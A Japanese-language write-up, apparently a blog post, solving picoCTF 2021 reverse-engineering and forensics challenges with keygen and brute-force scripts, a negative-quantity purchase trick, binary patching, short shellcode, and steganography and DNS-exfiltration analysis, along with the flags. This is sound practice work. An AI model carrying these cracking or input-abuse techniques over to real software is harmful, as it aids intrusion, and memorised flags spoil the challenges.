else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False return True # snip
その処理を参考に、正しい key_part_dynamic1_trial を求めるスクリプトを作成した。 実行すると、License Key(フラグ)を求めることができる。
import hashlib bUsername_trial = b"PRITCHARD" key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" key_part_dynamic1_trial = "xxxxxxxx" key_part_static2_trial = "}" hash = hashlib.sha256(bUsername_trial).hexdigest() key_part_dynamic1_trial = "" for i in [4, 5, 3, 6, 2, 7, 1, 8]: key_part_dynamic1_trial += hash[i] user_key = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial print(user_key)
$ python3 solve.py picoCTF{1n_7h3_|<3y_of_54ef6292}
picoCTF{1n_7h3_|<3y_of_54ef6292}
crackme-py - 30 points
ファイル内に以下の文字列が書かれている
bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"
これを CyberChef で ROT47 するだけ
picoCTF{1|\/|_4_p34|\|ut_dd2c4616}
ARMssembly 0 - 40 points
What integer does this program print with arguments
1765227561
and1830628817
? File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
chall.S は、ARM 64bit のアセンブリで書かれている。 読むのが面倒なので、クロスコンパイルして Ghidra で確認した。
$ sudo apt install gcc-aarch64-linux-gnu $ aarch64-linux-gnu-as chall.S -o chall
Ghidra で確認すると、コマンドライン引数に与えられた2つの値を比較し、大きいほうの値を表示するだけのプログラムでした。よって、1830628817
を16進数に変換した値がフラグになる。
picoCTF{6d1d2dd1}
speeds and feeds - 50 points
There is something on my shop network running at
mercury.picoctf.net:53740
, but I can't tell what it is. Can you?
netcat でアクセスすると、何かのログっぽい文字列がたくさん流れてくる。
$ nc mercury.picoctf.net 53740 G17 G21 G40 G90 G64 P0.003 F50 G0Z0.1 G0Z0.1 G0X0.8276Y3.8621 G1Z0.1 G1X0.8276Y-1.9310 G0Z0.1 G0X1.1034Y3.8621 G1Z0.1 G1X1.1034Y-1.9310 <snip>
文字列の最初の行にある G17 G21 G40 G90 G64 P0.003 F50
で検索すると、G-Code というコードであることが分かった。
また、GCode Viewer というサービスを発見した。ここに G-Code を貼り付けると、3Dモデルが表示される。
実際に貼り付けてみると、フラグの3Dモデルが表示された。
picoCTF{num3r1cal_c0ntr0l_775375c7}
Shop - 50 points
Best Stuff - Cheap Stuff, Buy Buy Buy... Store Instance: source. The shop is open for business at
nc mercury.picoctf.net 34938
.
netcat で接続すると、market が表示された。以下のいずれかを購入することができる。
- Quiet Quiches
- Average Apple
- Fruitful Flag
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option:
「How many do you want to buy?」のところで -10 を指定してみると、自分の持ち金が 140 コインに増えた。 100 コイン以上になったので、Fruitful Flag を購入すると、10進数でフラグが表示された。
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 0 How many do you want to buy? -10 You have 140 coins Item Price Count (0) Quiet Quiches 10 22 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 2 How many do you want to buy? 1 Flag is: [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]
CyberChef の From Decimal で変換すると、フラグを取得することができた。
picoCTF{b4d_brogrammer_ba6b8cdf}
ARMssembly 1 - 70 points
For what argument does this program print
win
with variables85
,6
and3
? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_1.S -o chall_1
0x715 を与えると、You win! と表示されるプログラムになっていました。
picoCTF{00000715}
ARMssembly 2 - 90 points
What integer does this program print with argument
3848786505
? File: chall_2.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_2.S -o chall_2
コマンドライン引数に与えられた値を3倍にして返すプログラムでした。
3848786505 を3倍にした値は、11546359515(0x2b03776db)になる。 ただし、オーバーフローしているので、実際に表示される値は 2956424923(0xb03776db)になる。
picoCTF{b03776db}
Hurry up! Wait! - 100 points
Ghidra で確認すると、以下のように delay させている処理が見つかる。
長時間スリープされていそうなので、ここの呼び出しを NOP(0x90)に書き換えて、呼び出されないようにする。
パッチを当てた後、実行するとフラグが表示された。
$ ./svchost.exe picoCTF{d15a5m_ftw_dfbdc5d}
picoCTF{d15a5m_ftw_dfbdc5d}
gogo - 110 points
Hmmm this is a weird file... enter_password. There is a instance of the service running at
mercury.picoctf.net:35862
.
Ghidra で処理を確認すると、以下の箇所でパスワード比較をしていた。
buf[0x20] 以降の値は、以下に格納されていた。
CyberChef
で XOR してパスワードを復号すると、reverseengineericanbarelyforward
となった。
実際に入力してみると、以下のように表示された。
$ ./enter_password Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key?
key になっている 861836f13e3d627dfa375bdb8389214e
を以下のサイトで検索すると、goldfish
と出てきた。
パスワード入力後に、goldfish
と入力すると、フラグが表示された。
$ nc mercury.picoctf.net 35862 Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key? goldfish Flag is: picoCTF{p1kap1ka_p1c05729981f}
picoCTF{p1kap1ka_p1c05729981f}
ARMssembly 3 - 130 points
What integer does this program print with argument ``3350728462PP? File: chall_3.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_3.S -o chall_3
以下のようなプログラムになっていました。
再現して実行すると、フラグになった。
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { unsigned int value = atoi(argv[1]); unsigned int result = 0; while (value != 0) { if ((value & 1) != 0) result = result + 3; value = value >> 1; } printf("%x\n", result); }
$ gcc solve.c $ ./a.out 3350728462 30
picoCTF{00000030}
Let's get dynamic - 150 points
Can you tell what this file is reading? chall.S
$ gcc chall.S
memcmp で比較していそうなので、GDB で確認する。
$ gdb -q ./a.out
memcmp に Breakpoint を置いて、スタックを見るとフラグが書かれていた。
gdb-peda$ start gdb-peda$ b memcmp gdb-peda$ c gdb-peda$ stack 0000| 0x7fffffffe0e8 --> 0x5555555552ff (<main+390>: test eax,eax) 0008| 0x7fffffffe0f0 --> 0x7fffffffe308 --> 0x7fffffffe56c ("/root/workdir/a.out") 0016| 0x7fffffffe0f8 --> 0x100000000 0024| 0x7fffffffe100 --> 0x0 0032| 0x7fffffffe108 --> 0x3100000000 ('') 0040| 0x7fffffffe110 ("picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377") 0048| 0x7fffffffe118 ("dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377") 0056| 0x7fffffffe120 ("4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}
Easy as GDB - 160 points
The flag has got to be checked somewhere... File: brute
Ghidra で確認すると、以下の箇所でフラグを1バイトずつチェックをしている。
「ループ回数 > 入力したフラグの長さ」であれば、正しいフラグとなる。 1文字ずつ総当たりでフラグを入力し、0x4009a5 を通る回数を数えるスクリプトを作成した。
import gdb import string gdb.execute('file ./brute') gdb.execute('set pagination off') gdb.Breakpoint('*0x004009a5') pattern = string.printable flag = '' for i in range(len(flag), 30): for ch in pattern: open('input.txt', 'w').write(flag + ch) gdb.execute('run < input.txt') for _ in range(i + 1): try: gdb.execute('continue') except gdb.error: pass msg = gdb.execute('i b', to_string=True) if 'hit {} times'.format(i + 2) in msg: flag += ch gdb.execute('continue') break print('-' * 80) print('flag:', flag + ch) print(msg) print(flag) gdb.execute('quit')
x86 環境で以下を実行し、しばらく待つとフラグが表示される。
$ gdb -x ./solve.py -q <snip> Correct! [Inferior 1 (process 10470) exitex normally] picoCTF{I_5D3_A11DA7_e5458cbf}
picoCTF{I_5D3_A11DA7_e5458cbf}
ARMssembly 4 - 170 points
What integer does this program print with argument
3964545182
? File: chall_4.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_4.S -o chall_4
再現すると、以下のようなプログラムになっていました。
#include <stdio.h> #include <stdlib.h> unsigned int func8(unsigned int param_1) { return param_1 + 2; } unsigned int func7(unsigned int param_1) { if (param_1 < 0x65) param_1 = 7; return param_1; } unsigned int func6(unsigned int param_1) { unsigned int local_14; unsigned int local_c; local_c = 0; local_14 = param_1; while (local_c < 900) { local_14 = 0x5c; local_c = local_c + 1; } return local_14; } unsigned int func5(unsigned int param_1) { unsigned int uVar1; uVar1 = func8(param_1); return uVar1; } unsigned int func4(unsigned int param_1) { return param_1; } unsigned int func3(unsigned int param_1) { return func7(param_1); } unsigned int func2(unsigned int param_1) { if (param_1 < 500) return func4(param_1 - 0x56); else return func5(param_1 + 0xd); } unsigned int func1(unsigned int param_1) { if (param_1 < 0x65) return func3(param_1); else return func2(param_1 + 100); } int main(int argc, char **argv) { unsigned int value = atoi(argv[1]); unsigned int result = func1(value); printf("Result: %ld\n", (long) result); return 0; }
$ gcc solve.c $ ./a.out 3964545182 Result: 3964545297
picoCTF{ec4e2911}
Powershelly - 180 points
It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt
rev_PS.ps1 を読み、output.txt から input.txt に戻すスクリプトを作成した。
function Random-Gen { $list1 = @() for ($i = 1; $i -lt ($output_file.Length + 1); $i++) { $y = ((($i * 327) % 681 ) + 344) % 313 $list1 += $y } return $list1 } function Unscramble { param ( $fun, $seed ) $raw2 = [convert]::ToString($fun, 2) $raw = @() $i = 0 while ($i -lt $raw2.Length) { $n = $raw2[$i] + $raw2[$i + 1] if ($n -eq "11") { $raw += "1" } else { $raw += "0" } $i += 2 } $blocks = @() for ($i = 0; $i -lt $raw.Length; $i++) { $y = ($i * $seed) % $raw.Length $n = $raw[$y] while ($n -eq "2") { $y = ($y + 1) % $raw.Length $n = $raw[$y] } $blocks += $raw[$y] $raw[$y] = "2" } return $blocks } $path = ".\output.txt" $output_file = Get-Content -Path $path $result = 0 $seeds = @() for ($i = 1; $i -lt ($output_file.count + 1); $i++) { $seeds += ($i * 127) % 500 } $randoms = Random-Gen $blocks = @{} for ($i = 0; $i -lt $output_file.count ; $i++) { $fun = $output_file[$i] -bxor $result -bxor $randoms[$i] $result = $fun -bxor $result -bxor $randoms[$i] $blocks[$i] = Unscramble -fun $fun -seed $seeds[$i] } $out = @{} for ($i = 0; $i -lt $blocks.Count; $i++) { for ($j = 0; $j -lt 5; $j++) { $line = $blocks[$i] $r = @() for ($k = 0; $k -lt 6; $k++) { $r += $line[$j * 6 + $k] } $s = [system.String]::Join("", $r) $out[$j] += $s + " " } } for ($i = 0; $i -lt $out.Count; $i++) { $input_file = $out[$i].Remove($out[$i].Length - 1, 1) Add-Content -Path input.txt -Value $input_file }
実行すると、以下のようにファイルが生成される。
PS > .\restore_input.ps1 PS > type input.txt 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 100001 110011 110011 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 110011 100001 110011 100001 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 110011 110011 110011 110011 100001 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 100001 100001 100001 100001 110011 110011 100001 100001 100001 110011 100001 100001 110011 110011 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 110011 110011 110011 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 110011 100001 110011 110011 110011 100001 110011 100001 100001 100001 100001 100001 100001 100001 110011 110011 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 110011 110011 100001 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 110011 100001 110011 110011 110011 100001 100001 110011 100001 100001 100001 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 100001 110011 110011 100001 100001 100001 100001 110011 100001 100001 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 001100 100011 100011 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 100011 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 100011 100011 100011 100011 001100 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 001100 001100 001100 001100 100011 100011 001100 001100 001100 100011 001100 001100 100011 100011 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 100011 100011 100011 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 100011 001100 100011 100011 100011 001100 100011 001100 001100 001100 001100 001100 001100 001100 100011 100011 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 100011 100011 001100 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 100011 001100 100011 100011 100011 001100 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 001100 100011 100011 001100 001100 001100 001100 100011 001100 001100 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 100001 000000 000000 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 000000 100001 000000 100001 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 000000 000000 000000 000000 100001 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 100001 100001 100001 100001 000000 000000 100001 100001 100001 000000 100001 100001 000000 000000 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 000000 000000 000000 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 000000 100001 000000 000000 000000 100001 000000 100001 100001 100001 100001 100001 100001 100001 000000 000000 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 000000 000000 100001 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 000000 100001 000000 000000 000000 100001 100001 000000 100001 100001 100001 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 100001 000000 000000 100001 100001 100001 100001 000000 100001 100001 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000
1行ずつ眺めていると、各行に2 パターンしかないことが分かる。
(1行目の場合、100001
と 110011
)
それぞれに 0 もしくは 1 を割り当てて、2進数として読み取り、文字列に変換するとフラグになった。
import string with open('input.txt') as f: lines = f.readlines() for line in lines: zero, one = sorted(set(line.split())) s = line.replace(zero, '0').replace(one, '1').replace(' ', '').strip() result = '' for i in range(0, len(s), 8): result += chr(int(s[i:i+8], 2)) if all([c in string.printable for c in result]): print(result)
$ python3 ./replace_01.py picoCTF{2018highw@y_2_pow3r$hel!} picoCTF{2018highw@y_2_pow3r"hel!} picoCTF{2018highw@y_2_pow3r$hel!} picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r$hel!}
Rolling My Own - 300 points
I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. remote
nc mercury.picoctf.net 17615
remote を実行すると、以下のようなエラーが出る場合がある。
$ ./remote ./remote: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory
libcrypto.so.1.1 が足りないようなので、ダウンロードしてきてビルドする。
$ wget https://www.openssl.org/source/old/1.1.0/openssl-1.1.0l.tar.gz $ tar xvf openssl-1.1.0l.tar.gz $ cd openssl-1.1.0l $ ./config $ make
LD_LIBRARY_PATH に追記すると、実行できるようなる。
$ export LD_LIBRARY_PATH=./openssl-1.1.0l:$LD_LIBRARY_PATH $ ./remote Password:
実行できるようになったので gdb でデバッグしながら処理を確認すると、以下のようになっていた。
Password に abcdefghijklmnop
と入力された場合、以下のように4文字ずつ分割し、それぞれに8文字の salt が追記される。
abcdGpLaMjEW
efghpVOjnnmk
ijklRGiledp6
mnopMvcezxls
次に それぞれのMD5 ハッシュ値を求め、特定の位置の4バイトを抽出する。
80d218041c09fb220678d00421adc0f3
->0678d004
(offset: 8)294a4535c9c11c6fcc63aa80ba932e68
->4535c9c1
(offset: 2)46b4be289b403a62cf6b58e2de420aaa
->62cf6b58
(offset: 7)02f5c347b5257bf71cf3625fd5b4d6d7
->f5c347b5
(offset: 1)
抽出した 16 バイトを実行権限のあるメモリに展開し、命令として実行する。 実行された命令が正しければ、フラグ表示用の関数が呼び出され、フラグが表示される。
フラグを表示させるためには、以下の条件を満たす必要がある。
- Hints より、 Password の初めの4文字は、
D1v1
である。 - 実行時の rdi レジスタには、フラグ表示用の関数のアドレスが格納されている。
- フラグを表示させるためには、第1引数に 0x7b3dc26f1 を設定する必要がある。
- 16バイト以内に命令を収める必要がある。
以上、上記を満たす命令は、以下の2つのいずれかになる。
.intel_syntax noprefix .globl _start _start: mov rsi, rdi mov rdi, 0x7b3dc26f1 call rsi
$ gcc -nostdlib call_func1.S $ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 89 fe mov rsi,rdi 4000d7: 48 bf f1 26 dc b3 07 movabs rdi,0x7b3dc26f1 4000de: 00 00 00 4000e1: ff d6 call rsi
もしくは
.intel_syntax noprefix .globl _start _start: mov rsi, rdi mov rdi, 0x7b3dc26f1 nop call rsi
$ gcc -nostdlib call_func.S $ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 89 fe mov rsi,rdi 4000d7: 48 bf f1 26 dc b3 07 movabs rdi,0x7b3dc26f1 4000de: 00 00 00 4000e1: 90 nop 4000e2: ff d6 call rsi
ここまで判明したので、後は上記のバイト列になるパスワードを総当たりで探索すればよい。
import string import itertools import hashlib salts = [ 'GpLaMjEW', 'pVOjnnmk', 'RGiledp6', 'Mvcezxls', ] offsets = [8, 2, 7, 1] target_bytes = [ '4889fe48', 'bff126dc', 'b3070000', '00ffd6' ] chars = string.ascii_letters + string.digits result = '' for i in range(4): offset = offsets[i] * 2 size = len(target_bytes[i]) for ch in itertools.product(chars, repeat=4): password = ''.join(ch) digest = hashlib.md5((password + salts[i]).encode()).hexdigest() if digest[offset:offset + size] == target_bytes[i]: print(password + salts[i], digest, digest[offset:offset + size]) break result += password print('Password:', result)
$ python3 solve.py D1v1GpLaMjEW 23f144e08b603e724889fe489f78fa53 4889fe48 d3AnpVOjnnmk 97c5bff126dca58703d2ac303dd9053d bff126dc dC0nRGiledp6 a8cd3acafc8c25b3070000dd18450048 b3070000 qu3rMvcezxls cc00ffd6c3c4d4d271b26c64a7a7107b 00ffd6 Password: D1v1d3AndC0nqu3r
総当たりで判明したパスワードを入力すると、フラグが表示された。
$ nc mercury.picoctf.net 17615 Password: D1v1d3AndC0nqu3r picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}
Forensics(11問)
information - 10 points
Files can always be changed in a secret way. Can you find the flag? cat.jpg
cat.jpg の文字列を列挙して、Base64デコードするとフラグが表示された。
$ strings cat.jpg | grep -oE "[a-zA-Z0-9+/]{5,}=?=?" | while read line; do echo $line | base64 -d 2>/dev/null; done | strings | grep pico picoCTF{the_m3tadata_1s_modified}
picoCTF{the_m3tadata_1s_modified}
Weird File - 20 points
What could go wrong if we let Word documents run programs? (aka "in-the-clear"). Download file.
olevba でマクロを抽出すると、以下のような処理が確認できる。
PS > olevba .\weird.docm ' snip Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus) ' snip
Base64 デコードすると、フラグが表示された。
$ echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d picoCTF{m4cr0s_r_d4ng3r0us}
picoCTF{m4cr0s_r_d4ng3r0us}
Matryoshka doll - 30 points
Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What's the final one? Image: this
dolls.jpg を「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」に読み込ませる。 「ファイル・データ抽出」をすると、zip ファイルが抽出される。
zip ファイルを展開すると、また jpg ファイルが入っている。 同じ手順を4回ぐらい繰り返すと、フラグの書かれたファイルが出てきた。
picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}
tunn3l v1s10n - 40 points
We found this file. Recover the flag.
BM
から始まっているので、BMPファイルだと推測できる。
ただし、拡張子を変更しても画像として開けないことから、ヘッダが壊れていると思われる。
ImageMagic で変換すると修正できる場合があるので、変換してみると画像を開くことができた。
$ convert tunn3l_v1s10n output.bmp
画像は、横長で notaflag{sorry}
と書かれている。また、ファイルサイズが元データよりかなり少なくなっている。
よって、BMP ヘッダの画像サイズに関する値が書き換わっている可能性がある。
ヘッダ構成を調べるのが面倒だったので、010 Editor に元のファイルを読み込ませて、BMPのテンプレートを適用させて値を書き換えた。
biHeight を 306 から 834 に書き換えて、再度 convert するとフラグが表示された。
picoCTF{qu1t3_a_v13w_2020}
Wireshark doo dooo do doo... - 50 points
Can you find the flag? shark1.pcapng.
pcapng から pcap に変換して、NetworkMiner に読み込ませると、5つのファイルが見つかる。
index.html を開いてみると、以下のように書かれていた。
Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}
CyberChef の ROT13 で変換すると、フラグが表示された。
picoCTF{p33kab00_1_s33_u_deadbeef}
MacroHard WeakEdge - 60 points
I've hidden a flag in this file. Can you find it? Forensics is fun.pptm
Forensics is fun.pptm を zip で展開すると、 Forensics is fun\ppt\slideMasters\hidden
という隠しファイルが含まれていた。
ファイルを開くと、以下のようになっていた。
PS > type '.\Forensics is fun\ppt\slideMasters\hidden' Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
CyberChef でスペースを切り詰めて、Base64 デコードすると、フラグが表示された。
picoCTF{D1d_u_kn0w_ppts_r_z1p5}
Trivial Flag Transfer Protocol - 90 points
Figure out how they moved the flag.
pcap に変換して、NetworkMiner に読み込ませると、6つのファイルを抽出することができる。
deb ファイルを展開して、中身を確認すると steghide だと判明した。
$ ar vx program.deb x - debian-binary x - control.tar.gz x - data.tar.xz $ tar xvf data.tar.xz ./ ./usr/ ./usr/share/ ./usr/share/doc/ ./usr/share/doc/steghide/ <snip> ./usr/bin/ ./usr/bin/steghide
次に plan というテキストファイルを開くと、以下のように書かれている。
VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
CyberChef の ROT13 で変換すると、以下のようになる。
IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS
DUEDILIGENCE
を passphrase として picture3.bmp からファイルを抽出すると、flag.txt が出力された。
flag.txt の中身を確認すると、フラグが書かれていた。
$ steghide extract -sf picture3.bmp -p DUEDILIGENCE wrote extracted data to "flag.txt". $ cat flag.txt picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}
picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}
Wireshark twoo twooo two twoo... - 100 points
Can you find the flag? shark2.pcapng.
DNS について確認すると、サブドメインのみを切り替えながら何度も問い合わせているのが分かる。
8.8.8.8 以外のサーバ(18.217.1.57)が指定されている問い合わせが怪しいので、18.217.1.57 のみ表示されるようにフィルタリングする。amazonaws.com
や windomain.local
も邪魔なので除外しておく。
dns and ip.dst == 18.217.1.57 and !(dns.qry.name contains "amazonaws.com") and !(dns.qry.name contains "windomain.local")
18.217.1.57 に送られている DNS Query のサブドメインのみを並べ、 CyberChef の From Base64 でデコードすると、フラグが表示された。
picoCTF{dns_3xf1l_ftw_deadbeef}
Disk, disk, sleuth! - 110 points
Use
srch_strings
from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz
ファイルを展開して、strings するとフラグが表示された。
